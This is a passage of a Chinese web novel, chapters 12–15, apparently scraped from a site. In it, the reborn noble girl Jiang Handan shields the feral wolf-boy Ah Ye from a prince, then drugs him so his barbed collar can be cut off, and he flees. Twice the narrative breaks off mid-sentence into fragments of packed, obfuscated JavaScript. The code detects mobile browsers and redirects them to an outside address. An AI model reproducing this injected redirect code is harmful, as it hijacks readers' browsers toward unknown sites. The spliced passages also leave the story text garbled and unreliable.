“殿下,射者,进退周还必中礼,内志正,外体直,然后持弓矢审固。持弓矢审固,然后可以言中,此可以观德行矣。”张贺肃容道,“殿下天姿聪颖,若能持箭肃正,便是持身肃正,准头才能更佳,力道也才能凝聚。射箭虽是礼仪,更是击敌卫国之术,若能慎重以待,殿下的箭术必能更上重楼。” 风曜始终微笑:“张大人教训得是。” 张贺:“不敢。” 风曜把弓交给侍从,由侍从解下箭袖,转头看见了姜菡萏。 姜菡萏向来是非重大场合不出门,是以一出现必定是按规盛装,单薄的身子淹没在一重又一重的锦缎中,面无表情的一张小小面孔,像是锦缎海里托出来的一块白玉。 此时穿的却是轻便猎装,窄袖,束腰,那腰只得一握,像兰花的花茎一样仿佛一掐就能断。 风曜眼中掠过一丝兴味:“菡萏妹妹这是?” “学箭。”姜菡萏说着,向张贺行礼,“请张大人教我。” 张贺忙还礼,口称“不敢”,然后道:“家主大人方才已经和下官说过了。小姐身体单薄,若要学箭,须得先锻体,先绕场跑十……两圈吧。” 张大人自以为已经够体贴了,但他高估了姜菡萏的体力。 姜菡萏也高估了自己的。 她才跑了一圈,就已经腿脚发软,眼前直冒金星。 “妹妹!” “菡萏妹妹!” “小姐!” 姜菡萏耳边嗡嗡作响,听到无数人在唤她,看到所有人都在向她这边冲来。 风曜速度最快,满脸关切,冲在最前面。 不能晕—— 姜菡萏拼命提醒自己。 晕了就得倒在风曜怀中。 绝不! 她咬牙努力站稳,可身体跟她作对,软软向后倒下。 就在这个时候,她听到了铁链拖在地上的声音。 紧跟着,她跌进一个怀抱,脸碰到热腾腾的肌肤。 是阿夜。 他不知从哪里钻出来的,半跪在地,堪堪接住姜菡萏,像接住枝头坠下的一朵落花。 “嗷呜!” 他抱紧怀里的人,喉咙里发出一声狼吼,冲着刚刚赶到面前的风曜呲牙。 13. 第 13 章 “大胆!还不快把菡萏放下!” 风曜喝命。 他久居高位,动起怒来,气势惊人,更兼扈从甚多,转眼围住阿夜。 阿夜身陷在刀枪的包围当中,不单没有怯意,眼中的杀气反而愈发浓郁。 阿夜记得这个人。 围场上,是这个人带着人杀了那三头狼。 这个人手上有他同族的血。 杀了他……咬死他……阿夜的牙齿痒痒,喉咙口渴,杀戮的欲望在骨血中汹涌澎湃。 “阿夜……我没事,放我下来……” 姜菡萏脑子昏沉,眼皮有千斤重,阿夜半弓着背,把她抱得很紧,她的脸颊贴着他的胸膛,他的胸膛滚烫。 相处非是一日,她感觉得出来,这是阿夜准备攻击的姿势, 她深深吸了一口气,努力稳住自己不要晕过去,转向风曜:“殿下,此人已被我驯服,与我家下人无异,他不会伤害我,殿下请退后。” “他是粗野之身,怎能碰你?!”风曜眉头皱得死紧,“菡萏放心,我定不会让他亵渎你。” 说着,风曜一挥手,扈从们寒光闪闪的刀剑逼近阿夜一步。 “干什么?!”姜祯终于跑到了近前,手撑着膝盖,气都喘不匀,但气势不能丢,“都给我散开,吓着我妹妹了!” 张贺也道:“殿下,此人凶性未除,不可激怒,以免伤到小姐。” 风曜盯着阿夜,阿夜也盯着风曜。 两个人的目光像是相交的刀锋,寒光四射。 “老三!”姜祯一声令下,府兵们围住风曜的扈从,“你让不让?!” 风曜牙根咬紧,慢慢抬起手,扈从们以充满戒备的姿势收刀,缓缓退开。 姜菡萏一口气刚想松下,就感觉到阿夜抱着自己的胳膊瞬间收紧,这是一个发力的姿势,他冲向风曜。 “不要!”姜菡萏一把抱住阿夜的脖颈,“阿夜不要!” 她一口气还没缓过来,这个搂抱的动作十分无力,手只是虚搭在阿夜肩头。 但这虚弱的动作让阿夜停了下来。 他的手距离风曜的脖颈只有半分的距离。 风曜亲眼见过他在围场上如何徒手杀死雄鹿,养尊处优的天潢贵胄生平第一次离死亡如此之近,风曜全身如坠冰窟,反应过来之后,惊怒交加,“刷”地一声,佩剑出鞘,斩向阿夜。 刹那之间,剑划伤了阿夜的胳膊,阿夜也一脚踹中了风曜小腹。 风曜连退三步,剧痛之下气血翻涌,嘴角生生溢出血丝。 姜祯在旁边看呆了,他幻想过很多遍风曜被人揍成猪头,但没想到有生之年竟然有人帮他实现了梦想。 “哥,发什么呆?!”姜菡萏喊,“快把他们分开!” “哦哦哦!” 姜祯如梦初醒。 府兵们人数众多,在张贺的指挥下形成两道半弧形的人墙,总算把风曜和阿夜隔开。 虽然很乐意看风曜挨揍,但礼数不能缺,姜祯赶紧命人传大夫。 风曜的视线隔着人群盯着阿夜,阿夜回以同样锋利且仇恨的眼神。 姜菡萏重生以后就没有这么头疼过。 一个是皇子,一个是兽奴,硬碰硬哪里有阿夜的好果子吃? “阿夜,会装死吗?”姜菡萏问。 阿夜在怒视风曜的间隙里歪了歪头,给姜菡萏一个无辜且困惑的眼神。 姜菡萏叹气。 那么,只能靠她了。 “……哥……”她虚弱地向姜祯伸出手。 姜祯最着紧妹妹,立刻握住:“妹妹你怎么样?” “我……怕是不成了……” 姜菡萏的脸色本就因为脱力而苍白得吓人,此时声音益发虚弱,她看着哥哥迅速发红的眼眶,在心里说了声“对不起”。 “师父说过我难养,养不大也正常……只是阿夜的命格天生于我有益,我死之后,要让他守陵……” 姜祯已经是泪流满面:“不会的,不会的!妹妹不会的!” 风曜被这动静惊住。 “殿下……”姜菡萏无力地望向风曜,“此人冒犯了你,原属死罪。可这是我此生最后的愿望,还望殿下能够成全,饶他一命……” 姜家嫡女是盏美人灯,说不定哪天风大一些,就把她扑灭了——风曜早就听过这样的嘲笑,可风曜没有想过,这一天会来得这样快。 “我答应你。”风曜沉声,“菡萏,你绝不能有事,我这就去请国师!” 他翻身便走。 姜祯大哭:“妹妹,妹妹!你说你好端端要学什么箭!我就说你吃不得这个苦!都怪我,我就该拦住你啊!我——” “停。”觑着风曜远去,姜菡萏长舒了一口气,“好了,死不了。” 姜祯兀自淌泪:“……啊?” * 跑圈怪累人的。 演戏更累人。 姜菡萏好想晕过去。 姜祯忙要来抱妹妹。 阿夜也许是出于野兽的天性,比任何人都更清晰地感觉到姜菡萏的虚弱,不肯把她交出去,呲牙。 姜祯跳脚。 “随他吧。”姜菡萏合着眼睛靠在阿夜怀里,他的怀里出其温暖,暖得近乎烫人,像一个巨大的汤婆子,暖暖的,触感还是硬中带软,很舒服。 好在阿夜能跟着人带路,把姜菡萏送回暖香坞。 暖香坞外围环绕着一道走廊,全廊用琉璃封着花窗,关起来的时候,屋内的暖气一丝也泄不出去,地龙烧起,室内便暖得像暮春时节。 里面的每样东西都十分精巧,姜菡萏指了指床榻,阿夜小心翼翼把她放下。 大夫已经拎着医箱来了。 大夫是长年在别院的,只为诊治姜菡萏,对姜菡萏的身体状况无比熟悉,一搭脉就叹气:“小姐体弱,只可静养,不能劳累。” 好在别院滋补药物都是现成的,每日汤药丸药,常备无缺,此时说一声便送来。 姜菡萏重生之后胃口好不少,能吃能睡,汤药停了好几日,这会儿熟悉的药味又一次涌到鼻子前头,只觉得恶心。 姜祯从小匣子里取出一颗玫瑰糖:“妹妹乖,快喝了药,好吃糖。” 姜菡萏皱着眉毛把药灌下去,糖就送到了嘴边,她张嘴含住。 抬眼就见阿夜蹲在脚踏旁边,紧紧地瞧着她。 她唤了声“哥哥”,看了看小匣子,再看了看阿夜。 姜祯明白她的意思,咕哝道:“这人就是个祸患,偏偏你还当个宝贝。” 虽咕哝,还是拿了颗糖,递给阿夜。 阿夜却没接。 姜祯:“咦,还认人了是吧?” 姜菡萏慢慢拿过那颗糖,递出去。 床上悬着蜜合色绣帐,她的手腕搁在帐子旁,白得像是一捧雪。 阿夜盯着她的手看了半晌,无声地爬上前,低头从她手上叼走那颗糖,却不像从前那样咔嚓咔嚓咬了吃,只含在嘴里,仍然用两手着地,蹲着一动不动。 姜菡萏身后垫着高枕,看着阿夜的模样,忽然轻轻笑了一下。 她不养狗,但看过别人养的狗。 主人若是生病,忠心耿耿的狗子就会一直这样守在主人旁边。 “我没事。” 肯定会没事。 好不容易活回来的,她可不想死。 只是下回不能直接这么跑圈了…… 张贺还跪在院中请罪。 姜菡萏让姜祯出去安抚一下张贺,顺便拉拢一下关系。 姜祯不大乐意:“一上来就让你跑圈……就让他跪一跪吧。” 姜菡萏:“……” 简直不讲理,上辈子哥哥也是这么帮亲不帮理的吗? “哥,是我自己要学的。” 姜祯没办法,只得起身。 到底是世家公子,演戏的本事都是天生的,帘子掀起前还搭拉着一张脸,帘子一掀,脸上便露出了笑容,快走几步,扶起张贺:“哎呀,张大人快快请起……” 姜菡萏听着这声音,心事放下,药效慢慢上来,眼皮开始打架。 她睡了过去。 可能是因为身体不舒服,她一睡着,就沉进了噩梦里,又一次回到了前世。 经历过千辛万苦,她追上了新帝的车驾,就在蜀中成为皇后。 但这不是噩梦的终结,而是新噩梦的开始。 新帝……是疯的。 为了讨好蜀中的军阀,他把母亲、妹妹和妃嫔都像礼物一样献了出去。 她清楚地知道,早晚会轮到她这个皇后。 然而比这样的污辱更先一步来临的,是新帝的刀锋—— “昂蛋……” “汗荡……” “杭蛋……” 奇奇怪怪的声音回荡在耳边,把姜菡萏从噩梦中唤醒。 姜菡萏睁开眼睛,发现自己出了一身冷汗。阿夜守在床头,不停晃着她的肩,见她醒来,眼睛亮起来。 姜菡萏长长地舒了一口气,告诉自己,已非前世了。 然后她听到外间有人说话。 隔着屏风,有点距离,声音有点模糊。 “……围猎亦是热闹红尘……家主大人又与小姐诸多亲近……” “……命星冲撞,命格不稳,恐有性命之忧……” “……家主大人即使住在此间,也不宜再与小姐见面了……” 看不到人脸,但姜菡萏一下子清醒了。 这是虞仙芝的声音! 天下间只有一个人能让肆意妄为的承德帝俯首贴耳,那就是国师虞仙芝。 他的话比圣旨还像圣旨。 此时就听姜祯颤声答道:“……妹妹难得与我亲近,这些日子,我们确实比从前加起来还要亲密得多……没想到,竟害了妹妹……” “唉,命数使然,天意如此啊。是要兄妹亲昵,还是要小姐平安,端看家主大人怎么选了。” 姜祯呜咽:“我自然是要妹妹平安。” 虞仙芝叹道:“家主大人与小姐兄妹情深,愿上天垂怜,保护小姐早日康复。小姐天生凤命,若是能早日嫁进宫中,借得帝王龙气,身体便能逐渐好转了。” “当真?”姜祯又惊又喜,不过转即叹气,“可太子才十岁……怎么成亲啊?” “身怀龙气者,非止东宫一人。” “还有谁?”姜祯问,“国师是指?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532528|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “天机不可泄漏,贫道只能言尽于此。” 姜菡萏心里很明白。 虞仙芝指的是风曜。 上一世她两耳不闻窗外事,只觉得虞仙芝仙风道骨,擅于炼丹,是神仙中人。直到临死之际,她才明白虞仙芝和风曜的关系。 “小姐须得静心养病,那名狼人少年——” “师父。” 姜菡萏披衣起身,走出屏风。 屏风外,虞仙芝坐在窗下,一身道袍,手执拂尘,三十许年纪,修眉朗目,长须飘飘,一派潇洒仙逸之气。 “红尘不染,六亲不靠,我虽不是出家,却胜似出家。”姜菡萏行礼,“师父,一个人总归是有些寂寞,你就当他是只猫儿狗儿,给我留下吧。” 虞仙芝轻轻叹了一口气:“可是徒儿,你与此子的缘分也不过是两三月间。” 姜祯:“国师真乃神人也,妹妹应下的驯兽的时间,就是三个月。” “也罢,他与你非亲非故,倒没有大妨碍。”虞仙芝说着起身,“记住,以后要安心静养,长居内室,不可见风,亦不可见外人。” 姜菡萏:“是。” 虞仙芝起身离开,姜菡萏道:“请恕徒儿有病在身,不能远送。” “好生养着吧。”虞仙芝由姜祯送出门去。 外头传来风曜的声音,他虽是皇子,但毕竟是外男,不便进内室,只在门外向姜菡萏略一点头:“菡萏妹妹,好生顾惜自己,莫要让我担心。” 姜菡萏微微点了点头。 不一会儿,姜祯送完客回来,一脸轻松的样子,笑道:“妹妹醒了真好,哎,我在这里玩了这些时日,该玩的都玩腻了,也该回城去了。到时候妹妹安心静养,很快就能好起来了。” 要不是眼睛还红红的,泪痕也没完全擦干净,姜菡萏勉强就信了。 上一世每个人都笃信虞仙芝的批命,包括姜菡萏自己。 因为她真的是一回京城就生病,来到别院就痊愈,从无例外。 可死过一回,姜菡萏比谁都明白该怎么样才能好好活着——那就是多吃多动多睡。 像她上午是久居不动的人骤然动得太多,一时虚弱脱力,现在睡了一觉,已经恢复得差不多了,甚至感觉到饿,想要大吃一顿。 而不见风,也不见人……只会越养越虚,越养越废。 但此时的虞仙芝就是神人再世,姜菡萏只能顺着他的话说:“师父的话定然有道理的,哥哥以前来别院,咱们不在一处吃饭见面,不也没有妨碍?哥哥别忘了答应了跟张大人学箭呢。而且现在人人都在别宫围猎,独哥哥一个人回城,有什么意思?” 姜祯犹豫:“不在一处吃饭见面就行吗?” “以前不都是这样?” ……以前那是妹妹你根本不想理我好吧? 这话姜祯当然没有说出口。 “这家伙怎么办?”姜祯指阿夜,“他像是要赖在这里了,谁也赶不走。又怕吵着你,不敢硬赶。” 阿夜依旧蹲在之前的地方,一双眼睛漆黑光亮,望着姜菡萏,脖子上的铁链拖得长长的。 “阿夜,过来。” 这句阿夜听懂了,无声地靠过来。 姜菡萏伸出手,摸向他的脑门。 手还没有摸到,阿夜自己将脑袋贴向她的手心,蹭了蹭。 姜菡萏只觉得掌心痒痒的,同时,也是滚烫的。 果然,他身体的发烫不是她的错觉,他的额头也热得很,眼睛显得格外黑亮,是因高烧而泛起来的水光。 将近黄昏,天色有点暗了,屋子里已经掌起了灯,但不够,姜菡萏又命多掌了几盏,把屋角的七宝树灯都点亮了。 虽然已经不再害怕灯光,但明明快要天黑的时候,屋子里却亮到这样的程度,让阿夜有点不安,他挪动了一下手脚,姜菡萏却抓住了他的铁链。 这是他的逆鳞,他下意识就要反咬,碰到姜菡萏的手时,生生忍住。 可整个人十分不耐,隐隐暴躁。 极其明亮的灯光下,姜菡萏死死盯着他的脖颈。 锁链处一直无法上药,他昨天又泡过冷水,脖子上那圈伤口高高肿起,开始泛白,已经发脓了。 如果再不处理,必定危及性命。 “嗷呜……”阿夜低低压抑地轻吼。 姜菡萏深吸一口气,松开手,问姜祯:“将作坊的人到了没有?” “下午的时候郭俊好像说了一下……”但那会儿姜祯正为妹妹提心吊胆,也没往心里去。 于是命人去传郭俊,让他把人带来。 很快郭俊便来了,带着两名将作坊的工匠来回话。 工匠背着各式各样的工具,其中最引人注目的是一只巨大的铰剪。 两名工匠打量了一下铁链,又想伸手掂掂份量,被阿夜呲了一顿牙,两人回道:“小人们看使得,只要不是精钢玄铁,这铰剪什么都能铰。” 又道:“只是这哥儿脾气挺大,铰剪锋利,要是挣扎起来,恐怕会伤着哥儿。” 姜菡萏沉吟。 这确实是个很要紧的问题。 不单会伤着,还容易激起阿夜的凶性。 得用个什么法子…… 14. 第 14 章 阿夜听不懂这些人在说什么,但他对生人的戒备很重,一直盯着这几人,尤其是几次围堵他的郭俊。 哪怕发着烧,也不妨碍他绷紧身体,随时准备扑上去。 “阿夜。” 姜菡萏唤了一声。 “呜。”阿夜脑袋摆过来,蹭了蹭床边,但眼神转到那几人身上,眼神又变得锋利起来。 姜菡萏觉得她这一倒下,阿夜好像对她亲密了很多,而且这亲密里透着一股安慰的味道。 他好像在担心她。 也许,他见过很多瘦弱的族人,病倒之后就再也没有站起来吧? “我没事了,你先出去,等会儿我陪你回去。” 阿夜歪了歪头,看了看外面,他听懂了“出去”两个字,但有点不放心,她太脆弱了,抱在手里那么轻,只有快死的族人才会瘦成那么轻。 姜菡萏觉得他困惑的样子有点好玩,不由一笑。 这一笑无声,但是眉眼明亮,双颊仿佛飞上光芒。 阿夜看着,忽然间神情一松,也回了一个笑容,四脚着地爬了出去,经过的时候还恶狠狠看了三人一眼。 两个匠人见他以这种姿势行走,都吓了一跳。 姜祯问姜菡萏打算怎么办:“真铰了这链子,恐怕就没有人能留得住他了。” “就算留下他,最多也只是留三个月,宫里一定会来带走他。” 而被宫里带走,以承德帝的脾性,一定会将各种法子用在阿夜身上取乐。 “你舍得啊?”姜祯问,“我瞧你挺喜欢这小子的。” 除了炼丹,妹妹很少喜欢上什么东西。 对,不是那种少女对少年春心萌动的喜欢,就是那种对猫猫狗狗或者别的玩意儿的那种喜欢。 “正因为喜欢,所以想放他自由。” 阿夜是姜菡萏重生之后救的第一个人。 也是姜菡萏两世里遇见的、最纯挚、最简单的人。 在这个勾心斗角尔虞我诈的世界,他像一块无瑕的白玉。 她不希望他掉入污泥。 她想要真正地给他新生。 等他的伤养好,他想去哪里都可以。 至于承德帝那边……她一个十五岁的小姑娘,看不住一个兽人有什么稀奇?难不成还要砍她的脑袋? 姜祯拍拍妹妹的肩,确定妹妹真的没事后,带着人离开。 苏妈妈带着侍女上来伺候姜菡萏穿衣。 苏妈妈对姜菡萏去学箭有一百个不满,但自家小姐的性子她晓得,劝不单无用,说不定还会惹得她更想学。 于是只得说些旁的:“上午的时候陪公主去花房,顾先生也在。” 姜菡萏向来对旁人的事情不感兴趣,如闻耳旁风,只低头接过阿福递来的手炉。 苏妈妈加了一句:“公主未语面先红,瞧着十分不对劲。” 姜菡萏的动作顿了一下:“他们说了什么?” 这丽阳,不会瞧出顾晚章是个能干的,来撬她墙角吧? 苏妈妈便绘声绘色说起来。 当时丽阳走进花房,只见满园鲜花,并未看见顾晚章,只听见顾晚章的声音。 因为顾晚章矮身蹲在地上,听花匠讲解如何培养出这般名种。 还是苏妈妈唤了一声“顾先生”,顾晚章才从花丛中直起身。 他一身淡青书生装,一双微微上挑的狐狸眼,丰神秀逸,真个是万红丛中一点绿。 善诗的翰林是皇帝宴乐时的必备佳品,顾晚章没少赴宴,自然认得不少贵人,于是行礼:“见过公主。” “免、免礼。” 丽阳声音微微颤抖,脸比身边的月下徊还红。 既然有贵人来赏花,外男自然不便在场,顾晚章说着便告退。 “你、你等一下!”丽阳急切唤住顾晚章。 但顾晚章转了身,等她示下,她又不知说什么,低下头,粉面羞红,只弄衣带。 顾晚章再度想告辞,丽阳方低低开口道:“我、我就是想问问你,在这里过得怎么样?若是不如意,我、我去求父皇让你官复原职……” 姜菡萏听到这里,顿时着恼,还真是来撬墙角的! “好个丽阳,不抢我的东西她就活不下去了是吧?”姜菡萏咬牙,“旁的东西抢便抢的,想动顾晚章,门都没有!以后你们都记着,如果丽阳来了,就赶快把顾晚章支走,不许他们两个碰面!” 侍女们忙答应。 苏妈妈却有些忧心忡忡。 小姐,你可是要当皇后的人啊…… 无论嫁三皇子还是嫁太子,都轮不到这顾晚章…… * 后院厢房,厨房准备了许多生肉送来。 阿夜很高兴,在烤之前,还从炭盆里刨出几个芋头。 这一次学乖了,没有直接给姜菡萏,而是放在姜菡萏面前的小桌上。 姜菡萏觉得他很聪明——已经知道吃的东西不能放在地上了。 只是……这几颗芋头差不多已经烤成了焦炭,姜菡萏拿火钳捅了一下,好家伙,里面也是黑漆漆,硬梆梆。 阿夜注意到了,他拿起一颗焦炭芋头,仔细端详了一下,还嗅了嗅,终于确认这东西娇弱的她不能吃,于是扔掉,开始烤肉。 他烤肉已经很熟练了,甚至会掌控火候,烤得差不多还会翻面。 这次的肉全都用佐料腌过,一烤,香气四溢。 姜菡萏有点欣慰,又有点难过。 “阿夜,等你回到山林,也要这样烤了再吃,好不好?” 阿夜递给她一块肉:“啊啊……” “阿夜吃。”姜菡萏没有接,放了一只生芋头在铁丝蒙上。 这三个字阿夜完全听得懂,迅速就把那块肉干掉了,然后又递给姜菡萏一块。 姜菡萏再次拒绝。 几次之后,阿夜懂了,姜菡萏不吃肉。 有些野兽是不吃肉的,比如羊,比如兔子。 阿夜若有所悟。 原来她像这种。 厨房送来的生肉足足有两大盆,平时阿夜一顿能全吃光,但今日是他的胃口明显不行,一盆还没吃完,食欲就消失了。 从昨天晚上开始,他就觉得身体有些发沉,脑袋有些发晕。 他将之归咎于没有吃肉。 可现在吃了肉,他好像更晕了。 身体也开始发软。 甚至坐不住,软倒在地上。 这种感觉……这种感觉有点熟悉…… 当初在围场上,他就是这样变得无力,只能被人带走,眼睁睁看着那三只狼死在刀枪下…… “啊……” 他挣扎着想要起身。 “别动,阿夜。”姜菡萏俯身按住他,“很快就好了。” 肉里加了香料,也加了迷药。 香料浓郁的味道瞒过了阿夜灵敏的鼻子,吃了那么多块肉,药效终于发作了。 阿夜听不懂她在说什么,只看见她在他面前,视野慢慢模糊。 他用尽全力,推了她一把。 有危险…… 快走……快走啊…… 这一把耗尽了他的力气,他彻底昏迷过去。 这一把险些把姜菡萏推出门外,好在最后他已经脱力,姜菡萏踉跄两下,扶着门框站,向外道:“进来吧。” 郭俊领着两名工匠走进来,还带上几十名府兵,以防不测。 两名工匠端详着地上的阿夜,商量着怎么下手。 脖颈处都有伤,不论在哪里动剪,都会扯到伤口。 郭俊提醒他们抓紧时间:“此子体质异于常人,上次中迷药,一个时辰不到就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532529|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了。” 工匠点点头,正要选个位置下剪,阿夜忽然皱起眉头。 郭俊以为他要醒来,立刻带着人严阵以待。 但阿夜没有睁开眼睛,他的神志不清,深陷在梦里。 梦里不知有什么,让他面露痛楚之色。 “啊……啊……呜……” “原来他这样的也会做噩梦……”不知是哪个府兵,低低嘀咕一句。 “他也是人,自然会做梦。”姜菡萏说着,轻轻抚上阿夜的面庞,“阿夜别怕,我在这里。” 如果阿夜是醒着的,一定会用脸贴贴她的手心。 她的声音不知是不是真的能够进到他的梦境,他紧皱的眉头慢慢放松。 这么近的距离里,姜菡萏看见了颈链下的伤口,几乎不忍卒睹。 “动手。”她吩咐。 铰剪张开口子,尖端抵住阿夜的脖颈,工匠紧握着剪柄,沉声发力。 剪口收紧,颈上铁链被铰动,倒刺深深扎在伤口里,鲜血顿出冒出来。 阿夜脸上露出痛苦的表情。 铰得越深,血流得越多。 阿夜无意识摇头。 郭俊挡在姜菡萏身前,低声问道:“小姐可要先行回房?待属下给他上好药,就去给小姐回话。” “不,我就在这里,万一他醒了——” 姜菡萏的话没有说完,就看见阿夜猛地睁了开眼睛。 姜菡萏心里猛地一跳。 糟了! 这是最坏的情况。 “嗷!” 他发出一声怒吼,两名工匠像是断线的风筝一样飘起,直撞到墙上才落下,登时昏死过去。 而颈上的铁链才铰了一半。 “阿夜!停下!” 姜菡萏大叫。 阿夜听见她的声音,望向她。 姜菡萏当机立断:“按住他!继续铰!” 府兵们蜂拥上前,按手的按手,按脚的按脚,按头的按头……将阿夜死死压在地上,两名府兵拿起铰剪,继续用力。 “嗷——嗷——嗷——” 阿夜疯了一样挣扎,他在地上望着姜菡萏,喉咙里发出的不知是低吼还是嘶喊,脸上第一次有了人类才有的复杂情绪——有疑惑,有不解,有难以置信,有痛不可当。 姜菡萏没有安慰,只死死盯着那枚颈圈。 一半——六成——八成—— 啪! 终于全断了。 但这还没完。 断了的铁圈依旧紧紧套在脖颈上,还需要再剪一刀。 阿夜的身体已经被血染红了。 姜菡萏深深吸了一口气:“再剪!” 阿夜,忍忍,阿夜,别怕,阿夜,别动。 想说的话毫无意义,他过于强悍的身体变成了根源的痛苦,连府兵的手刀都不能敲晕他。 她只有紧紧地盯着那只铰剪,看着它一分一分铰进铁链里,终于把铁圈铰成了两半。 这时候所有的迟疑都会变成凌迟,郭俊出手如风,扯下了两半铁圈。 “嗷——” 巨大的痛楚让阿夜绷紧了身体,在瞬间所有的府兵都感受到来自手下的强大力道,惊呼声接连响起,几十名府被掀翻开来。 阿夜翻身爬起,四脚着地,他呼呼地喘息,颈间的鲜血随着呼吸滴落,染红地面。 他盯着姜菡萏,喉咙里“呜呜”作响,想发出点什么声音,却没有什么能表达出他此刻的悲伤与痛恨。 郭俊与府兵们将姜菡萏重重护卫住,刀刃寒光闪闪,形成一片钢铁丛林,他无法接近。 他早该明白的,她才是他们的首领! “嗷!” 他对着窗外的明月仰起脖颈,发出一声凄厉至极的长嚎。 然后,转身扑出窗子。 15. 第 15 章 “快去追!”姜菡萏急道,“他还没上药!” 郭俊立即带着人追出去。 “万一碰见人,别说是找人,就说是给哥哥找丢了的东西!” 姜菡萏追上前两步,隔着窗子扬声道。 “是!” 郭俊的声音传来时已经有些远了,阿夜更是就早没了踪影。 屋子里安静下来,空气里除了烤肉香,还有血腥味。 阿夜在这间屋子里满打满算住了七天。 他一直没有习惯睡床,睡觉都是蜷缩在屋角。屋子里除了添了一只烤肉的铁丝蒙,其余地方整整齐齐,纹丝未动,好像从来没人在这里住过。 姜菡萏在椅子上坐下。 地上还有点点残血,这是她一手炮制的“血案”。 阿夜最后嚎的那一嗓子,估计是伤心坏了。 她上辈子活得就像一个被供在佛龛里的假人,很少让别人这么伤心,或者说,就算别人伤心了,她也看不见。 “小、小姐……”苏妈妈带着阿福她们在屋外,想进却不敢进。 方才的景象她们都瞧见了,姜菡萏一刀捅向赵驰的记忆被唤醒,别院的太平日子过得长久,她们都有些不敢相信……小姐怎么突然就变得这般杀伐决断了?好像换了一个人似的。 “妈妈……”姜菡萏向她伸出手,“扶我一下。” 腿软。 “哎!”苏妈妈忙带着人进来。她有一肚子的愁肠,既盼着姜菡萏做回原来那个悄无声息的乖小姐,又觉得现在的姜菡萏没准能为自己挣回好前程——堂堂嫡女一直养在别院算什么事? 姜菡萏出来上了暖轿,才瞧见了隔壁窗子上的灯光。 顾晚章居然一直在。这边闹得惊天动地,他是一点声也没出。 “顾先生睡了吗?”姜菡萏懒得下轿,隔着窗子道,“月下徊从今日起多留几朵,我要多做些玫瑰糖。” ——阿夜此番被吓走,不知道要多少糖才能哄回来。 “吱呀”一声,房门打开。 顾晚章立在门前,背着屋内灯火,神情模糊不清:“小姐对玩物,一向都如此上心吗?” “……”姜菡萏,“他不是玩物。” 顾晚章停了一停,慢慢问:“那在下呢?” 姜菡萏心说读书人真是多疑又敏感啊。 “先生更不是。” 姜菡萏坐在暖轿上,身体因为疲乏而显得慵懒,屋子里漏出来的灯光昏黄,但照在她脸上,却仿佛烛火映亮了明月,即使再疲惫也未能减去她半分颜色。 顾晚章听说过,姜家嫡女注定嫁入皇宫,姜家家主为生下最美的女儿,娶妻只求美貌,世世代代的美貌沉积叠加下,才十五岁,姜菡萏就已经美得惊心动魄。 她微微偏着脸,嘴角带着一丝笑,唇色淡红,往上挑的时候像一抹月牙。 “先生是治国安邦的大才,将来有一日,乾坤颠倒,黎民涂炭,就是先生大展鸿图的机会。” 顾晚章慢慢垂下眼睛。 治国安邦,大展鸿图……当年寒窗苦读之时,他就是用这八个字勉励自己。可成了状元之后,他才知道鲤鱼跃上龙门,只不过成为龙案上的一道佐酒小餐。 他刚到姜家时愤恨难平,但这些天下来,再多的激愤也归于理智,凭着他对承德帝的了解,宴席上的贬官只是个开端,后面不知会把他贬到哪里去。 所以姜菡萏把他带到姜家,也许真的是救他。 “小姐如果想要找到那名少年,最好再加派些人手。天要下雨了,雨水会洗去一切痕迹,狼人一入山林,人就很难再找到他了。” 姜菡萏下意识抬头看天。 天上乌沉沉的,与寻常夜晚没什么分别,不过,确实看不见星星。 “阿福,你去找哥哥。”姜菡萏神情有点凝重,“告诉他,我想借用暗卫。” * 姜家的暗卫是一种类似于传说的存在。人人都知道姜家有暗卫,但谁也没见过。 包括姜菡萏。 姜家暗卫无处不在,只听从姜家家主的号令。 姜祯接任家主之位时太小,还是个啥也不懂的小屁孩,家主大权被族中长辈瓜分得差不多,只有暗卫彻底属于他。 上一世姜菡萏唯一一次跟姜祯讨论过暗卫,是问:“哥哥现在手上能用的,是不是只有暗卫了?” 姜祯答得非常爽朗:“够用啦。” 有暗卫护卫周全,有姜家当银库随便花钱,还不用管事——姜祯觉得自己上辈子简直是跟女娲一起补过天。 一听妹妹要用暗卫,姜祯立刻离席,回到别院。 问明白原由,姜祯召唤了暗卫。 这是姜菡萏第一次见到暗卫。 他们看上去普普通通,有马夫,有府兵,还有扫地做粗活的。 姜祯告诉她,他们的脸随时会变,今天你看到他们是这样子,明天又变成了别的模样,别的身份。 暗卫前脚刚走,天上就下起了雨。 冬天很少下雨,雨一下,一定夹着雪。 姜菡萏坐在窗前的贵妃榻上,榻上铺着锦垫,室内温暖如春,但窗外雨雪交加,阿夜流了那么多血……她的手扣着窗子,有点发紧。 “快把窗子关上。”姜祯道,“有府兵,有暗卫,那么老大一个人,一准丢不了,你好好睡一觉,明天一早包管他就回来了。” 姜菡萏也觉得这样的阵仗派出去刺杀皇帝没准都够用了,不可能找不回一个人,尤其阿夜还受了伤。 可雨声点滴不停,吵得人怎么也睡不着,她干脆起身,去丹房。 心神不知为何总是不定,取丹料的时候,明明是想拿朱砂,结果拿出来的却是硫磺,还不小心洒了一地。 跟着虞仙芝学炼丹的第一天,虞仙芝就告诉她:“丹房之中,最要紧的有三样东西,硫磺、硝石、木炭,这三者绝不可同时混用。要用硫磺,就不得再用硝石和木炭。三者混用,最容易炸炉。” 